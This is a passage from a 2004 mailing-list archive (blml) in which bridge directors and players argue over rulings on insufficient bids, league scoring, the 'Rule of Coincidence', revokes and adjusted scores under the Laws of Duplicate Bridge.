although I think the law of big numbers has already kicked in by now. But the object is not of fairness, but of seeming not to be unfair. So if the people don't complain, there is no need for added costs. Which simply leads to the conclusion that is Norwegian players have picked up on this and perceive it as a problem, then Norwegian officials should deal with it. But they should not lambast English directors for not dealing with a proble that English players don't perceive. > Regards Sven > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From blml@blakjak.com Thu May 13 12:40:07 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 13 May 2004 12:40:07 +0100 Subject: [blml] 2 cases In-Reply-To: <00c401c438cd$4326e490$6a51fea9@ams.com> References: <000001c43095$50cd2ae0$6900a8c0@WINXP> <00c401c438cd$4326e490$6a51fea9@ams.com> Message-ID: Konrad Ciborowski wrote > >----- Original Message ----- >From: "David Stevenson" >To: >Sent: Wednesday, May 12, 2004 5:35 AM >Subject: Re: [blml] 2 cases > > >> Karel wrote >> > >> >Law 27B2 (Insufficient bid not accepted) >> >"If either the insufficient bid or the lowest sufficient bid in the same >> >denomination may have been conventional or if the bid is corrected by any >> >other sufficient bid or by a pass, (penalty) the offender's partner must >> >pass whenever it is his turn to call ....." >> > >> >+++ just to clear this up .. ".. MAY have been conventional ... " >> > >> >In the case sited, 4C may have been Gerber, but maybe not. How exactly >is >> >one supposed to rule ?? If you ask the OS side they will naturally deny >4C >> >is gerber. >> >> Why? Most bridge players do not lie to Directors. I > >The key word here is "most". In this style of ruling >those who do get a tremendous edge. They do not get a tremendous edge. They get a well-deserved reputation, and then everyone, players and Directors, treats them with suspicion. Cheats do not prosper for long - especially if they cheat in such a stupid way as lying to a Director. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu May 13 12:42:15 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 13 May 2004 12:42:15 +0100 Subject: [blml] A new one In-Reply-To: <40A32599.3080800@hdw.be> References: <000001c43835$c4ccba30$6900a8c0@WINXP> <40A32599.3080800@hdw.be> Message-ID: Herman De Wael wrote >Well Sven, > >Sven Pran wrote: > >>>Gordon Rainsford >>> >>>>When we play league all matches in the same round are usually played >>>>simultaneously in the same arena and with the same boards. (That is >>>>the only >>>>possible way to make all matches comparable as to the number of IMPs >>>>"available"). All returns shall then be handed in, verified and signed >>>>by >>>>both teams, usually within ten minutes after scheduled end of each >>>>match >>> >>>Our leagues don't work like that at all. We get a list of teams to >>>play, a deadline for completion of the league, and we go and arrange >>>matches with the other captains at our convenience. The results are >>>usually converted into VPs, to reduce the IMP effect. >> So I understand now. And you have absolutely no "protection" >>against an unbalanced league in that >> one match can include many boards with large swing potentials while another >> hardly offers more than a 16-14 VP victory even to a top team against a >> bottom team because of many "flat" boards. And please don't argue that this >> evens out over say 32 boards, it doesn't. >> > >Yes it does. Belgian leagues have been run like this for nigh-on 50 >years now (with hand-dealt boards in one-to-one matches) and no-one has >ever complained that his season of 448 boards was more or less flat >than some other team's. >In fact, when we started a premier league, which took over the >principle of playing in one local - and with duplicated boards - of the >old first division, we had a discussion about whether we should let the >new first division play with duplicated boards also. We asked the >players and a huge majority told us not to bother. > >Of course contrary to England we do play a fixed schedule with only >limited freedom to play a match before (but not after) the scheduled >date. When you say 'contrary to England' if you look at my posts I play in three different leagues, some with schedules, some without. Just because the one with a problem does not have a fixed schedule does not mean none of them do. Bridge is more enjoyable if played in more different ways. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu May 13 12:45:35 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 13 May 2004 12:45:35 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: RJH wrote >>>:-) > >>It had never occurred to me that 25-25 was per the Law book. I'll >>just have a look. >> >>....... >> >>Chat amongst yourselves. >> >>....... >> >>Nope, not in my law book. >> >>-- >>David Stevenson > >My law book -> > >Law 12B, "The Director may not award an adjusted score on the >ground that the penalty provided in these Laws is either unduly >severe or advantageous to either side." > >Law 12C1, "...average plus (at least 60% in pairs) to a contestant >in no way at fault (see Law 86 for team play or Law 88 for pairs >play). The scores awarded to the two sides need not balance." > >:-) :-) :-) Strange. My law book is different form yours. My L12C1 starts: 'When, owing to an irregularity, no result can be obtained ...' Since we are dealing with a case where a result was obtained on each board my L12C1 does not apply. Nice try. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From grandeval@vejez.fsnet.co.uk Thu May 13 09:52:40 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 13 May 2004 09:52:40 +0100 Subject: [blml] Principle of Coincidence References: Message-ID: <000c01c438e1$ba851f20$c3de883e@4nrw70j> Grattan Endicott To: Sent: Thursday, May 13, 2004 2:37 AM Subject: Re: [blml] Principle of Coincidence > >Could someone please fill in the fine details... > > xxx Kxxx > Kxxx xx > Ax xxx > Qxxx Jxxx > > 1D 1H > 1S 2C, all pass should explain it. > > I adjust this one btw :) > +=+ Innocence asks, "Would this be what we call a 'red' psyche? Is 'red psyche' another approach to RoC? " +=+ From grandeval@vejez.fsnet.co.uk Thu May 13 10:00:17 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 13 May 2004 10:00:17 +0100 Subject: [blml] The Masochism Tango References: Message-ID: <000d01c438e1$bb3dc0c0$c3de883e@4nrw70j> Grattan Endicott To: Sent: Thursday, May 13, 2004 3:16 AM Subject: Re: [blml] The Masochism Tango > > >Richard James Hills asks: > > > >Law 9A1 states that it is optional to call attention to > >an irregularity, "...any player *may* call attention..." > > > >If you foolishly reached a grand slam missing the ace of > >trumps, and if you noticed an opponent perpetrating a > >meaningless earlier revoke, would you draw the TD's > >attention to the irregularity, and thus "earn" your > >ridiculous grand slam? > > David Stevenson : > > Would I? Yes. But I would not *say* I had earned it, and > there is no need to use such unnecessary emotive words. > It is just legal, ethical, and what my opponent deserved! > +=+ Aunt Agatha says 'How can it be ridiculous if it makes? ' +=+ From grandeval@vejez.fsnet.co.uk Thu May 13 10:02:46 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 13 May 2004 10:02:46 +0100 Subject: [blml] Law 27B References: <004f01c437b1$efa00fc0$69a376cb@oemcomputer> Message-ID: <000e01c438e1$bbed3aa0$c3de883e@4nrw70j> Grattan Endicott To: Sent: Wednesday, May 12, 2004 12:44 AM Subject: [blml] Law 27B Would the panel consider Law 27B to benefit players if it was amended to read--- "If an insufficient bid made in rotation is not accepted, it must be corrected by the substitution of either a sufficient bid or a pass, but the offender cannot substitute a double." Obviously this is an intention of the Law but most players do not differentiate between a bid and a call, when this law is read out to them. Law 27B3 doesn't address the problem until the offender either asks about,or attempts to substitute a double. Hardly fair when it could have been prevented by the above amendment. Ray. +=+ Noted +=+ From Frances.Hinden@Shell.com Thu May 13 13:56:13 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Thu, 13 May 2004 13:56:13 +0100 Subject: [blml] A new one Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A3D@lonsc-s-031.europe.shell.com> > Gordon Rainsford > > When we play league all matches in the same round are usually played > > simultaneously in the same arena and with the same boards. (That is > > the only > > possible way to make all matches comparable as to the number of IMPs > > "available"). All returns shall then be handed in, verified and = signed > > by > > both teams, usually within ten minutes after scheduled end of each > > match >=20 > Our leagues don't work like that at all. We get a list of teams to > play, a deadline for completion of the league, and we go and arrange > matches with the other captains at our convenience. The results are > usually converted into VPs, to reduce the IMP effect. So I understand now.=20 And you have absolutely no "protection" against an unbalanced league in = that one match can include many boards with large swing potentials while = another hardly offers more than a 16-14 VP victory even to a top team against a bottom team because of many "flat" boards. And please don't argue that = this evens out over say 32 boards, it doesn't. I am shocked if this is supposed to be a serious league. Regards Sven [Frances] I must say you shock easily. =20 I don't play in the David's league, but our 3 local leagues I've played = in are very similar - 6-8 teams in each division have 6-9 months to play = a 24-32 board match against each of the other teams. These aren't leagues based in = clubs, they are open for any suitably qualified team to enter (usually county or = "business house" leagues). If you wanted to play duplicated boards you'd have to get all the teams = in the same place about nearly once a month for the whole season. This = wouldn't happen. The league would simply cease to exist: we struggle to get all our = matches played even with pretty relaxed rules on play-by dates. What do you think people prefer: an "unbalanced" league or no league at = all? Results from our leagues are usually submitted by e-mail or internet = form. I find it very easy to believe that such an email might get lost. I certainly = can't remember how many VPs I scored in most of the matches I've played = this season. From Frances.Hinden@Shell.com Thu May 13 14:04:44 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Thu, 13 May 2004 14:04:44 +0100 Subject: [blml] A new one Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A3E@lonsc-s-031.europe.shell.com> > Herman De Wael > Sven Pran wrote: ........... > > And you have absolutely no "protection" against an=20 > > unbalanced league in that one match can include many > > boards with large swing potentials while another > > hardly offers more than a 16-14 VP victory even to a > > top team against a bottom team because of many "flat" > > boards. And please don't argue that this evens out=20 > > over say 32 boards, it doesn't. > > >=20 > Yes it does. Belgian leagues have been run like this for nigh-on 50 > years now (with hand-dealt boards in one-to-one matches) and no-one > has ever complained that his season of 448 boards was more or less > flat than some other team's. I don't think "no-one has ever complained" can be taken as corroborating evidence. The fact is that when monitoring several league matches with up to = thirty teams of four playing the same 32 boards in each round simultaneously I = have noticed rounds where the results varied from 15-15 to 25-0 and other = rounds where the greatest swing was something like 18-12 or maybe even less. This is too much of coincidence for me to accept that different rounds = of 32 boards offer equal potentials.=20 [snip] I agree with your premise (that there isn't equal potential) but your = evidence is not sufficient to prove it. Just because a match result is 15-15 doesn't tell you if the total imps = were 1-0 or 101-100. I have played matches where the potential was there, but the result was = 15-15. I have played matches where there should have been a load of flat boards = but one team was over 100 imps up after 32 boards. From mfrench1@san.rr.com Thu May 13 15:20:06 2004 From: mfrench1@san.rr.com (Marvin French) Date: Thu, 13 May 2004 07:20:06 -0700 Subject: [blml] Principle of Coincidence References: <003601c43871$89b1b040$6401a8c0@san.rr.com> <$c6grBXAtqoAFw9r@blakjak.demon.co.uk> Message-ID: <000c01c438f5$672d9500$6401a8c0@san.rr.com> From: "David Stevenson" > > > > When deciding what has happened a TD or AC will make a judgement based > on the evidence and his conclusions therefrom. The RoC has some use in > this if used sensibly and sparingly. > > Perhaps all that the RoC really says is that when both partners do > something strange [psyche, bid out of range, pass with a heavy hand, > etc] it will need a lot of explaining when their actions fit each other > perfectly. "Both partners" is the key. Kaplan was commenting on a case in which a takeout double of a weak 2D was passed by the doubler's partner, who held xxx Kxx x AK10xxx, the doubler holding AQJ7 Axxx AJ75 x (not very "strange").. Down 500. The TD ruled avg+/avg-, a popular ruling in those days, applying the "Rule of Coincidence." The indignant passer explained his pass in a letter to the BW editor. He had his reasons, but the TD/AC (as Kaplan wrote) evidently made a moral judgment like, "That was a terrible bridge decision you made, so I'm going to see to it that you get a terrible result." Marv Marvin L. French San Diego, California From john@asimere.com Thu May 13 18:23:48 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 13 May 2004 18:23:48 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: <4HN$NTBk86oAFwdH@asimere.com> In article , David Stevenson writes >RJH wrote > >>>>:-) >> >>>It had never occurred to me that 25-25 was per the Law book. I'll >>>just have a look. >>> >>>....... >>> >>>Chat amongst yourselves. >>> >>>....... >>> >>>Nope, not in my law book. >>> >>>-- >>>David Stevenson >> >>My law book -> >> >>Law 12B, "The Director may not award an adjusted score on the >>ground that the penalty provided in these Laws is either unduly >>severe or advantageous to either side." >> >>Law 12C1, "...average plus (at least 60% in pairs) to a contestant >>in no way at fault (see Law 86 for team play or Law 88 for pairs >>play). The scores awarded to the two sides need not balance." >> >>:-) :-) :-) > > Strange. My law book is different form yours. My L12C1 starts: Try ruling under TD error. It's the only possible way to go. If I were the TD and I had lost the form and the players told me what DWS has told us I would *have* to give the most favourable outcome for both sides ie 25-8. Nothing else is remotely possible. I suggest you imagine a virtual TD who was responsible to the SO for reporting the result. john -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Thu May 13 18:29:15 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 13 May 2004 18:29:15 +0100 Subject: [blml] 2 cases In-Reply-To: References: <000001c43095$50cd2ae0$6900a8c0@WINXP> <00c401c438cd$4326e490$6a51fea9@ams.com> Message-ID: In article , David Stevenson writes snip >>> >>> Why? Most bridge players do not lie to Directors. I >> >>The key word here is "most". In this style of ruling >>those who do get a tremendous edge. > > They do not get a tremendous edge. They get a well-deserved >reputation, and then everyone, players and Directors, treats them with >suspicion. Cheats do not prosper for long - especially if they cheat in >such a stupid way as lying to a Director. > If DWS or I were to publish what we discuss about players we would certainly be involved in slander/libel cases sine die. What TD's discuss intra collegia is just *not* available for public consumption. -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From mfrench1@san.rr.com Thu May 13 21:13:54 2004 From: mfrench1@san.rr.com (Marvin French) Date: Thu, 13 May 2004 13:13:54 -0700 Subject: [blml] The Masochism Tango References: Message-ID: <001701c43926$d1b8b4a0$6401a8c0@san.rr.com> From: "David Stevenson" > Richard James Hills wrote: > >If you foolishly reached a grand slam missing the ace of > >trumps, and if you noticed an opponent perpetrating a > >meaningless earlier revoke, would you draw the TD's > >attention to the irregularity, and thus "earn" your > >ridiculous grand slam? > > Would I? Yes. But I would not *say* I had earned it, and there is no > need to use such unnecessary emotive words. It is just legal, ethical, > and what my opponent deserved! > And unsportsmanlike. Note this is not an illegal waiving of a penalty, as there is no penalty to waive. Like ignoring an out-of-turn action or insufficient bid, players need not call attention to an irregularity when they feel it will do no damage and the prescribed penalty would be inappropriate. Marv Marvin L. French San Diego, California From ereppert@rochester.rr.com Thu May 13 21:20:38 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 13 May 2004 16:20:38 -0400 Subject: [blml] A new one In-Reply-To: <4HN$NTBk86oAFwdH@asimere.com> Message-ID: On Thursday, May 13, 2004, at 13:23 US/Eastern, John (MadDog) Probst wrote: > Try ruling under TD error. It's the only possible way to go. If I were > the TD and I had lost the form and the players told me what DWS has > told > us I would *have* to give the most favourable outcome for both sides ie > 25-8. Nothing else is remotely possible. I suggest you imagine a > virtual > TD who was responsible to the SO for reporting the result. Yabut.... as I understand it, it wasn't the TD who lost anything, it was the SO. From grandeval@vejez.fsnet.co.uk Thu May 13 21:42:09 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 13 May 2004 21:42:09 +0100 Subject: [blml] Principle of Coincidence References: <003601c43871$89b1b040$6401a8c0@san.rr.com> <$c6grBXAtqoAFw9r@blakjak.demon.co.uk> <000c01c438f5$672d9500$6401a8c0@san.rr.com> Message-ID: <000501c4392e$f9922580$51d74c51@4nrw70j> Grattan Endicott To: Sent: Thursday, May 13, 2004 3:20 PM Subject: Re: [blml] Principle of Coincidence > > The indignant passer explained his pass in a letter to the BW editor. He > had his reasons, but the TD/AC (as Kaplan wrote) evidently made a moral > judgment like, "That was a terrible bridge decision you made, so I'm > going to see to it that you get a terrible result." > +=+ Oh come! The moral judgement was not about his bridge decision but about his explanation of it. They did not clap their hands.+=+ From blml@blakjak.com Thu May 13 22:18:55 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 13 May 2004 22:18:55 +0100 Subject: [blml] The Masochism Tango In-Reply-To: <001701c43926$d1b8b4a0$6401a8c0@san.rr.com> References: <001701c43926$d1b8b4a0$6401a8c0@san.rr.com> Message-ID: Marvin French wrote >From: "David Stevenson" > >> Richard James Hills wrote: > >> >If you foolishly reached a grand slam missing the ace of >> >trumps, and if you noticed an opponent perpetrating a >> >meaningless earlier revoke, would you draw the TD's >> >attention to the irregularity, and thus "earn" your >> >ridiculous grand slam? >> >> Would I? Yes. But I would not *say* I had earned it, and there is >no >> need to use such unnecessary emotive words. It is just legal, >ethical, >> and what my opponent deserved! >> >And unsportsmanlike. > >Note this is not an illegal waiving of a penalty, as there is no penalty >to waive. Like ignoring an out-of-turn action or insufficient bid, >players need not call attention to an irregularity when they feel it >will do no damage and the prescribed penalty would be inappropriate. I consider the prescribed penalty *is* appropriate. Does that mean I am unsportsmanlike? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu May 13 23:24:06 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 14 May 2004 08:24:06 +1000 Subject: [blml] A new one Message-ID: >>:-) :-) :-) >Strange. My law book is different form yours. My L12C1 starts: > >'When, owing to an irregularity, no result can be obtained ...' > >Since we are dealing with a case where a result was obtained on each >board my L12C1 does not apply. > >Nice try. > >David Stevenson Since we are dealing with a case where no result was obtained, because the official score has *not* been made available for inspection, my Law 12C1 does apply. Nice try. Richard James Hills From schoderb@msn.com Thu May 13 23:29:56 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Thu, 13 May 2004 18:29:56 -0400 Subject: [blml] The Masochism Tango References: <001701c43926$d1b8b4a0$6401a8c0@san.rr.com> Message-ID: Where is that written in blood? The Law simply says that a player may call attention to an irregularity. I can't find where it says that the reason for not calling is as you ascribe. Heck, it might devolve upon his/her head as husband/wife, lover, or friend or for other less cogent reasons -- the offender may be a rank novice. Besides, I challenge you to convince me that when an irregularity occurs the players are more than 50% of the time even passably aware of the penalty or rectification, or able to devine at that time the effect it will have upon their result.. Kojak ----- Original Message ----- From: "Marvin French" To: Sent: Thursday, May 13, 2004 4:13 PM Subject: Re: [blml] The Masochism Tango > > From: "David Stevenson" > > > Richard James Hills wrote: > > > >If you foolishly reached a grand slam missing the ace of > > >trumps, and if you noticed an opponent perpetrating a > > >meaningless earlier revoke, would you draw the TD's > > >attention to the irregularity, and thus "earn" your > > >ridiculous grand slam? > > > > Would I? Yes. But I would not *say* I had earned it, and there is > no > > need to use such unnecessary emotive words. It is just legal, > ethical, > > and what my opponent deserved! > > > And unsportsmanlike. > > Note this is not an illegal waiving of a penalty, as there is no penalty > to waive. Like ignoring an out-of-turn action or insufficient bid, > players need not call attention to an irregularity when they feel it > will do no damage and the prescribed penalty would be inappropriate. > > Marv > Marvin L. French > San Diego, California > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Thu May 13 23:31:29 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 14 May 2004 10:31:29 +1200 Subject: [blml] Principle of Coincidence In-Reply-To: <000501c4392e$f9922580$51d74c51@4nrw70j> Message-ID: <003401c4393a$090f2390$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of grandeval > Sent: Friday, 14 May 2004 8:42 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Principle of Coincidence > > > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "Do you believe in fairies? Say quick > that you believe! If you believe clap > your hands!" ['Peter Pan'] > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: "Marvin French" > To: > Sent: Thursday, May 13, 2004 3:20 PM > Subject: Re: [blml] Principle of Coincidence > > > > > > The indignant passer explained his pass in a letter to the > BW editor. He > > had his reasons, but the TD/AC (as Kaplan wrote) evidently > made a moral > > judgment like, "That was a terrible bridge decision you made, so I'm > > going to see to it that you get a terrible result." > > > +=+ Oh come! The moral judgement was not about his bridge > decision but about his explanation of it. They did not clap their > hands.+=+ And which law was broken? Wayne > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From toddz@att.net Thu May 13 23:46:47 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Thu, 13 May 2004 18:46:47 -0400 Subject: [blml] A new one In-Reply-To: References: Message-ID: <6.0.1.1.1.20040513184504.01b11de8@postoffice.worldnet.att.net> At 06:24 PM 5/13/2004, richard.hills@immi.gov.au wrote: Since we are dealing with a case where no result was obtained, because the official score has *not* been made available for inspection, my Law 12C1 does apply. I thought there were results on the boards, details of which were subsequently lost in the mail. -Todd From richard.hills@immi.gov.au Thu May 13 23:52:49 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 14 May 2004 08:52:49 +1000 Subject: [blml] One ring to rule them all Message-ID: For Aussie experts, the one pairs event that will bring them all together, and find them playing extended rounds against each other, is the Australian Open Butler Pairs. In the 7-table Stage 3 final of the Butler Pairs, each pair plays a round-robin of 14-board matches against each other pair. To minimise slow play and maximise security, each of the 7 tables has its own pre-duplicated set of boards. But in one of these matches, the sponsoring organisation has prepared a nasty surprise for the directors, which will in the darkness bind them. At a particular table, while the cards were correctly duplicated, 9 of the 14 boards were mislabelled with erroneous vulnerabilities. How would you rule? Best wishes Richard James Hills From richard.hills@immi.gov.au Fri May 14 00:14:35 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 14 May 2004 09:14:35 +1000 Subject: [blml] A new one Message-ID: Richard James Hills: >>>Since we are dealing with a case where no result was obtained, >>>because the official score has *not* been made available for >>>inspection, my Law 12C1 does apply. Todd M. Zimnoch: >>I thought there were results on the boards, details of which >>were subsequently lost in the mail. TFLB Chapter 1 Definitions: >Adjusted Score - An arbitrary score awarded by the Director (see >Law 12). It is either "artificial" or "assigned". 1. An artificial >adjusted score is one awarded in lieu of a result because no >result can be obtained or estimated for a particular deal....." Richard James Hills: It seems to me that it is difficult to "estimate the result" for a particular deal, *if* the sponsoring organisation has lost the details in the mail *before* an official score has been made available for inspection. Best wishes RJH From gesta@tiscali.co.uk Fri May 14 00:29:11 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Fri, 14 May 2004 00:29:11 +0100 Subject: [blml] Principle of Coincidence References: <003401c4393a$090f2390$0401010a@Desktop> Message-ID: <001d01c43942$5b96f0e0$56ac403e@multivisionoem> Grattan Endicott To: Sent: Thursday, May 13, 2004 11:31 PM Subject: RE: [blml] Principle of Coincidence > > > > -----Original Message----- > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > > Behalf Of grandeval > > Sent: Friday, 14 May 2004 8:42 a.m. > > To: blml@rtflb.org > > Subject: Re: [blml] Principle of Coincidence > > > > > > > > Grattan Endicott > [alternatively gesta@tiscali.co.uk] > > ============================== > > "Do you believe in fairies? Say quick > > that you believe! If you believe clap > > your hands!" ['Peter Pan'] > > ++++++++++++++++++++++++++++++ > > ----- Original Message ----- > > From: "Marvin French" > > To: > > Sent: Thursday, May 13, 2004 3:20 PM > > Subject: Re: [blml] Principle of Coincidence > > > > > > > > > > The indignant passer explained his pass in a letter to the > > BW editor. He > > > had his reasons, but the TD/AC (as Kaplan wrote) evidently > > made a moral > > > judgment like, "That was a terrible bridge decision you made, so I'm > > > going to see to it that you get a terrible result." > > > > > +=+ Oh come! The moral judgement was not about his bridge > > decision but about his explanation of it. They did not clap their > > hands.+=+ > > And which law was broken? > > Wayne > +=+ We don't know, do we? The facts are not all stated. Apparently someone thought a law had been broken, but that side of the question has not been presented here. ~ G ~ +=+ From grabiner@alumni.princeton.edu Fri May 14 01:30:29 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Thu, 13 May 2004 20:30:29 -0400 Subject: [blml] 2 cases In-Reply-To: References: <000301c438ce$b0915730$6900a8c0@WINXP> Message-ID: <5.1.1.6.0.20040513202650.01ded738@mail.comcast.net> At 06:35 AM 5/13/2004, Jaap van der Neut wrote: >Are you talking theory or experience? >My own experience corroborates David's view. > >Of course most players tell the truth. Still Konrad is 100% right. You can >not base a legal system on the concept that one has to provide evidence >against onself. Apart from practical problems (some people are less honest) >it is also against all principles of western legal culture. > >Of course people are unlikely to lie about (rather) easy to check >black-white questions like 'is 4C Gerber'. But in cases where the truth is >more obscure (and it often is in this silly game of ours) it is ridiculous >to assume that people don't have a tendency to protect their position, >specially when no outright 'lying' is involved. One common situation: when a player pulls an insufficient 2H from the bidding box, he is likely to claim that he intended to bid 3H. I suspect that many of these players actually intended to bid 2H at the time they pulled the 2H bid, and then realized the error later. I wouldn't call this an outright lie, as the TD doesn't usually ask the question correctly. From john@asimere.com Fri May 14 01:32:11 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 14 May 2004 01:32:11 +0100 Subject: [blml] One ring to rule them all In-Reply-To: References: Message-ID: <4MHPvZCLOBpAFwlB@asimere.com> In article , richard.hills@immi.gov.au writes > > > > >For Aussie experts, the one pairs event that will bring >them all together, and find them playing extended rounds >against each other, is the Australian Open Butler Pairs. > >In the 7-table Stage 3 final of the Butler Pairs, each >pair plays a round-robin of 14-board matches against >each other pair. To minimise slow play and maximise >security, each of the 7 tables has its own pre-duplicated >set of boards. > >But in one of these matches, the sponsoring organisation >has prepared a nasty surprise for the directors, which >will in the darkness bind them. > >At a particular table, while the cards were correctly >duplicated, 9 of the 14 boards were mislabelled with >erroneous vulnerabilities. > >How would you rule? +18, both sides, wtp? > >Best wishes > >Richard James Hills > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Fri May 14 01:46:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 14 May 2004 10:46:08 +1000 Subject: [blml] Groundhog Day Message-ID: Context plays a part in subconsciously biasing a player's selection of logical alternatives. But context might also play a part in subconsciously biasing a TD away from the requirement of an impartial judgement of the facts. When the first Groundhog Day problem was proposed to the Australian Bridge Directors' panel, South had chosen a successful 6H alternative, which some panellists thought was not a logical alternative. Did this context subconsciously bias some panellists into ruling that North's hesitation was a demonstrable suggestion? E.g. -> David Stevenson: [snip] >>>However, experience shows that players >>>get this sort of position right, so the >>>UI must suggest something to this pair. >>>South's action, holding an ace, is pretty >>>incredible anyway. [snip] When the second Groundhog Day problem was proposed to the blml panel, South had chosen a successful Pass, and the East-West pair were seemingly trying to sea-lawyer their way out of a bad result. Did this context subconsciously bias some panellists into ruling that North's hesitation did *not* suggest anything? E.g. -> Herman De Wael: >>By asking for two adjustments at once, EW >>tell us they cannot tell which of the >>alternatives is suggested by the >>hesitation. Therefore, no alternative >>can be said to be _demonstrably_ >>suggested by the hesitation. Thus, no UI >>infraction. [snip] Two identical South hands, two identical auctions to South's crucial decision, with two identical hesitations by North. In one context, a very respected TD had no difficulty in ruling that North's hesitation was a demonstrable suggestion. In another context, a very respected TD had no difficulty in ruling that North's hesitation was *not* a demonstrable suggestion. Did these two very respected TDs rule in accordance with an objective assessment of what the hesitation demonstrably suggested? Or did these two very respected TDs rule in accordance with their little lists, due to a subconscious bias caused by context? W.S. Gilbert: >As some day it must happen > that a victim must be found, >I've got a little list - > I've got a little list >Of society offenders > who might well be under ground >And who never would be missed - > who never would be missed! Best wishes Richard James Hills From TG0JLH1@wpo.cso.niu.edu Fri May 14 02:42:53 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Thu, 13 May 2004 20:42:53 -0500 Subject: [blml] Long Beach 39-40 Message-ID: In adjusting a bridge score obtained at the table after an offense, the Laws seek to apply (inter alia) two principles: (1) that the offenders should not profit from their offense (with a very loose interpretation of this prepositional phrase), and (2) that when the non-offenders suffer not because of the offense (the offense would have worked to their benefit if they had just "played bridge") but because of their own egregious blunder, they are to get no adjustment. On the face of it, there can be no conflict between these principles; both can be observed--via a split score adjustment, if necessary. But in the ACBL's Long Beach Casebook (Summer, 2003), commenting on Cases 39 and 40, the editor, Rich Colker, claims that these two principles can conflict, in which case the former is to take absolute precedence over the latter. This is because in a team event (as opposed to pairs) he views the adjustment as accruing to the team, not to the pair at the table where the offense occurred. Thus he writes that in a team event "the two sides' scores cannot be adjusted independently of each other." I claim that this is a mistake; the Laws often require just such an independent (split) adjustment at the table where the offense occurred. In Case 39--from a team-of-four match--E/W had a bidding misunderstanding, which caused them to give MI to N/S (this is the offense), and finally to reach a bad 3NT contract which should have been defeated two tricks (-200) when they could have made slam in either minor. But N/S blundered egregiously, giving E/W +660 at the table. How should the score have been adjusted? Bobby Wolff writes: "In a pair game I would judge E/W -200, N/S -660 to reflect a N/S opportunity that had gone astray. But in a team game E/W -200 must prevail." (I.e., N/S get +200.) This is also Colker's view. Even a commentator who disagrees with the Wolff-Colker adjustment seems to agree with their underlying assumption, that the score adjustment in a team event goes to the team, not just to the relevant pair. Dave Treadwell writes: "In this event split scores are of no avail, so I would award the table result to both sides with some sort of minor PP to E/W that would also accrue to N/S." (Colker rightly objects to this misuse of the PP--though he accepts a similar PP in Case 40--and he points out that Treadwell would be violating the first principle above, since the offenders would be getting a score of +660 instead of the "deserved" -200.) The underlying assumption of all three of these commentators seems clearly wrong. The Laws nowhere say that the score adjustment appropriate in a team game is different from that in pairs. If you assign E/W -200 instead of the +660 they made at the 